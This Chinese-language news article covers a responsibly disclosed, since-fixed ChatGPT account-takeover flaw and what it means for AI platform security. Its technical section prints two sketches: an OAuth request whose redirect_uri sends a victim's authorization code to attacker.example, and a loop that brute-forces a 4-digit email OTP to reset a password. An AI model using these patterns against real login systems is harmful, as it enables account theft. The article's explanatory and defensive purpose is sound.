当全世界都在讨论大模型的推理能力和 Agent 的自主性时，一群安全研究员却盯着一个更基础的问题：你的 ChatGPT 账号，真的只属于你吗？Parameter Security 团队给出了一个令人不安的答案。
一切始于一个“奇怪”的跳转
故事的主角是 Parameter Security 的研究团队（Parameter Labs）。他们在对 OpenAI 产品链路进行例行安全测试时，发现了一条不被注意的“缝隙”——一个允许攻击者在特定条件下接管 ChatGPT 账号的漏洞。相关研究以《We Took over ChatGPT Accounts》为题发布，并迅速冲上 Hacker News，获得 230 分的热度，讨论区一度挤满了“这也可能发生在我身上吗”的担忧。
需要首先说明的是：这是一个负责任披露的案例。研究团队遵循了标准的漏洞披露流程，向 OpenAI 报告了问题。OpenAI 也在确认后进行了修复。没有证据表明该漏洞被大规模恶意利用，但它揭示的问题值得整个行业警惕——当平台把大量精力投入模型安全时，传统的 Web 安全基本盘反而可能成为最薄弱的环节。
漏洞的本质：账号接管
所谓账号接管，是指攻击者无需受害者密码，就能获得对受害者账号的控制权。对于一个 ChatGPT 账号来说，这意味着什么？
- 对话历史全裸奔：用户与 AI 的全部对话记录，可能包含商业机密、个人隐私、医疗法律咨询内容；
- 身份凭证劫持：攻击者可以以受害者身份发起 API 调用、使用付费额度；
- 持久化后门：绑定攻击者的恢复邮箱或登录方式，即使受害者改密码也无济于事；
- 社交工程弹药：对话历史中的上下文可被用于精准钓鱼。
对于企业用户，ChatGPT Team / Enterprise 账号被接管的风险更是指数级上升——一个账号背后可能连着整个组织的知识库。
技术剖析：这类漏洞通常怎么发生
虽然 Parameter 未公开全部细节（这是负责任披露的惯例，避免被武器化），但账号接管类漏洞的技术路径高度相似。业界最常见的几类包括：
// 攻击示意：伪造 OAuth 回调劫持 authorization code
const maliciousUrl =
'https://auth.openai.com/authorize' +
'?client_id=legit_client_id' +
'&redirect_uri=https://attacker.example/cb' + // 未严格白名单校验
'&response_type=code' +
'&state=' + leakedState; // state 校验失效时，CSRF 防线形同虚设
// 受害者点击后，授权码被发送到攻击者服务器
// 攻击者用 code 换取 token，完成账号接管
fetch('https://auth.openai.com/token', {
method: 'POST',
body: JSON.stringify({ code: stolenCode, /* ... */ })
});
# 验证码弱随机数 + 无速率限制 = 接管入口
import itertools
for otp in itertools.product('0123456789', repeat=4):
if verify_email_otp(victim_email, ''.join(otp)):
reset_password(victim_email, 'attacker_owned')
break # 4 位验证码，万次尝试即可命中
Parameter 团队在博客中表示，他们的发现正是源于对这类“身份认证缝隙”的系统性排查——不是攻击模型本身，而是攻击模型周围的脚手架。
攻击面全景：AI 平台不只是“模型”
理解这类漏洞，关键在于认识到 ChatGPT 这样的产品早已不是单一页面，而是一张庞大的服务网络：
模型再聪明，如果登录链路有缝，一切安全叙事都会崩塌。这正是 Parameter 团队想传达的核心观点之一：AI 平台的安全重心正在失衡。
行业启示：三道反思题
第一，安全预算的去向是否错位？ 过去两年，行业讨论几乎被 prompt 注入、越狱、模型幻觉占满，但 OWASP 早在 2023 年发布的 LLM 应用十大风险清单中，就把不安全的输出处理、供应链漏洞等传统问题与模型特有风险并列。Parameter 的发现提醒我们：天王山大模型公司，也会在“送分题”上丢分。 第二，负责任披露机制是否足够高效？ 本次漏洞从发现到披露，遵循了行业标准流程。OpenAI 自 2023 年起就设有漏洞赏金计划（Bugcrowd 平台），最高赏金 2 万美元。但账号接管这类高危问题，修复优先级和响应速度仍是检验平台安全成熟度的试金石。 第三，普通用户能做什么？ 在平台修复之外，用户端的防线依然重要：# 每个用户现在就可以做的三件事
1. 关闭不使用的第三方登录绑定，改用独立强密码
2. 开启两步验证（TOTP 优先于短信）
3. 定期在 Settings → Security 中检查活跃会话并清除陌生设备
写在最后
Parameter 团队用一次成功的账号接管实验证明：在 AI 时代，最锋利的攻击往往不是针对模型的，而是针对“人与模型之间的那道门”。当各家竞相宣传万亿参数和 Agent 生态时，安全研究者们仍在检查 redirect_uri 是否校验、验证码是否够随机。
这或许才是这次披露最有价值的部分——它把行业的注意力从“模型会不会作恶”拉回到“系统会不会失守”这个更古老、也更本质的问题上。
